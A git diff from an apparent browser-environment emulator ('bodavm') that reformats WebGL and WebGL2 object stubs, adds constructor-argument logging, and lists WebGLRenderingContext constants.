true, + writable: true, + value: function uniform2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2x3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2x4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3x2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3x4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4x2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4x3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "viewport", { + configurable: true, + enumerable: true, + writable: true, + value: function viewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "viewport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "makeXRCompatible", { + configurable: true, + enumerable: true, + writable: true, + value: function makeXRCompatible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "makeXRCompatible", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLActiveInfo.js b/env_xbb_lastest_jsdom/env/WebGLActiveInfo.js index 67a9d261..06c20e56 100644 --- a/env_xbb_lastest_jsdom/env/WebGLActiveInfo.js +++ b/env_xbb_lastest_jsdom/env/WebGLActiveInfo.js @@ -1,6 +1,41 @@ -// WebGLActiveInfo对象 -bodavm.memory.globalobj['WebGLActiveInfo'] = function WebGLActiveInfo(){if (!(this instanceof WebGLActiveInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLActiveInfo'], "WebGLActiveInfo"); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "name_get", arguments)}, set:undefined},'prototype'); +// WebGLActiveInfo对象 + +bodavm.memory.globalobj['WebGLActiveInfo'] = function WebGLActiveInfo() { + console.log_copy('WebGLActiveInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLActiveInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLActiveInfo'], "WebGLActiveInfo"); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "name_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLBuffer.js b/env_xbb_lastest_jsdom/env/WebGLBuffer.js index 5816bebd..847cd8bd 100644 --- a/env_xbb_lastest_jsdom/env/WebGLBuffer.js +++ b/env_xbb_lastest_jsdom/env/WebGLBuffer.js @@ -1,3 +1,17 @@ -// WebGLBuffer对象 -bodavm.memory.globalobj['WebGLBuffer'] = function WebGLBuffer(){if (!(this instanceof WebGLBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLBuffer'], "WebGLBuffer"); +// WebGLBuffer对象 + +bodavm.memory.globalobj['WebGLBuffer'] = function WebGLBuffer() { + console.log_copy('WebGLBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLBuffer'], "WebGLBuffer"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLContextEvent.js b/env_xbb_lastest_jsdom/env/WebGLContextEvent.js index 9d018624..6af4d6bb 100644 --- a/env_xbb_lastest_jsdom/env/WebGLContextEvent.js +++ b/env_xbb_lastest_jsdom/env/WebGLContextEvent.js @@ -1,6 +1,27 @@ -// WebGLContextEvent对象 -bodavm.memory.globalobj['WebGLContextEvent'] = function WebGLContextEvent(){if (!(this instanceof WebGLContextEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebGLContextEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLContextEvent'], "WebGLContextEvent"); -bodavm.memory.globalobj['WebGLContextEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['WebGLContextEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('WebGLContextEvent', "statusMessage", {configurable:true, enumerable:true, get:function statusMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLContextEvent'].prototype, "WebGLContextEvent", "statusMessage_get", arguments)}, set:undefined},'prototype'); +// WebGLContextEvent对象 + +bodavm.memory.globalobj['WebGLContextEvent'] = function WebGLContextEvent() { + console.log_copy('WebGLContextEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLContextEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebGLContextEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLContextEvent'], "WebGLContextEvent"); +bodavm.memory.globalobj['WebGLContextEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['WebGLContextEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('WebGLContextEvent', "statusMessage", { + configurable: true, + enumerable: true, + get: function statusMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLContextEvent'].prototype, "WebGLContextEvent", "statusMessage_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLFramebuffer.js b/env_xbb_lastest_jsdom/env/WebGLFramebuffer.js index f70b974f..c0b4f29c 100644 --- a/env_xbb_lastest_jsdom/env/WebGLFramebuffer.js +++ b/env_xbb_lastest_jsdom/env/WebGLFramebuffer.js @@ -1,3 +1,17 @@ -// WebGLFramebuffer对象 -bodavm.memory.globalobj['WebGLFramebuffer'] = function WebGLFramebuffer(){if (!(this instanceof WebGLFramebuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLFramebuffer'], "WebGLFramebuffer"); +// WebGLFramebuffer对象 + +bodavm.memory.globalobj['WebGLFramebuffer'] = function WebGLFramebuffer() { + console.log_copy('WebGLFramebuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLFramebuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLFramebuffer'], "WebGLFramebuffer"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLProgram.js b/env_xbb_lastest_jsdom/env/WebGLProgram.js index 2b39482a..7c5f6450 100644 --- a/env_xbb_lastest_jsdom/env/WebGLProgram.js +++ b/env_xbb_lastest_jsdom/env/WebGLProgram.js @@ -1,3 +1,17 @@ -// WebGLProgram对象 -bodavm.memory.globalobj['WebGLProgram'] = function WebGLProgram(){if (!(this instanceof WebGLProgram)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLProgram'], "WebGLProgram"); +// WebGLProgram对象 + +bodavm.memory.globalobj['WebGLProgram'] = function WebGLProgram() { + console.log_copy('WebGLProgram 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLProgram)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLProgram'], "WebGLProgram"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLQuery.js b/env_xbb_lastest_jsdom/env/WebGLQuery.js index 8f0e10f4..eef29578 100644 --- a/env_xbb_lastest_jsdom/env/WebGLQuery.js +++ b/env_xbb_lastest_jsdom/env/WebGLQuery.js @@ -1,3 +1,17 @@ -// WebGLQuery对象 -bodavm.memory.globalobj['WebGLQuery'] = function WebGLQuery(){if (!(this instanceof WebGLQuery)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLQuery'], "WebGLQuery"); +// WebGLQuery对象 + +bodavm.memory.globalobj['WebGLQuery'] = function WebGLQuery() { + console.log_copy('WebGLQuery 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLQuery)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLQuery'], "WebGLQuery"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLRenderbuffer.js b/env_xbb_lastest_jsdom/env/WebGLRenderbuffer.js index 94f73c42..7dbb5ab9 100644 --- a/env_xbb_lastest_jsdom/env/WebGLRenderbuffer.js +++ b/env_xbb_lastest_jsdom/env/WebGLRenderbuffer.js @@ -1,3 +1,17 @@ -// WebGLRenderbuffer对象 -bodavm.memory.globalobj['WebGLRenderbuffer'] = function WebGLRenderbuffer(){if (!(this instanceof WebGLRenderbuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderbuffer'], "WebGLRenderbuffer"); +// WebGLRenderbuffer对象 + +bodavm.memory.globalobj['WebGLRenderbuffer'] = function WebGLRenderbuffer() { + console.log_copy('WebGLRenderbuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLRenderbuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderbuffer'], "WebGLRenderbuffer"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLRenderingContext.js b/env_xbb_lastest_jsdom/env/WebGLRenderingContext.js index fb683b38..46ea3e95 100644 --- a/env_xbb_lastest_jsdom/env/WebGLRenderingContext.js +++ b/env_xbb_lastest_jsdom/env/WebGLRenderingContext.js @@ -1,737 +1,4709 @@ -// WebGLRenderingContext对象 -bodavm.memory.globalobj['WebGLRenderingContext'] = function WebGLRenderingContext(){if (!(this instanceof WebGLRenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderingContext'], "WebGLRenderingContext"); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965}); 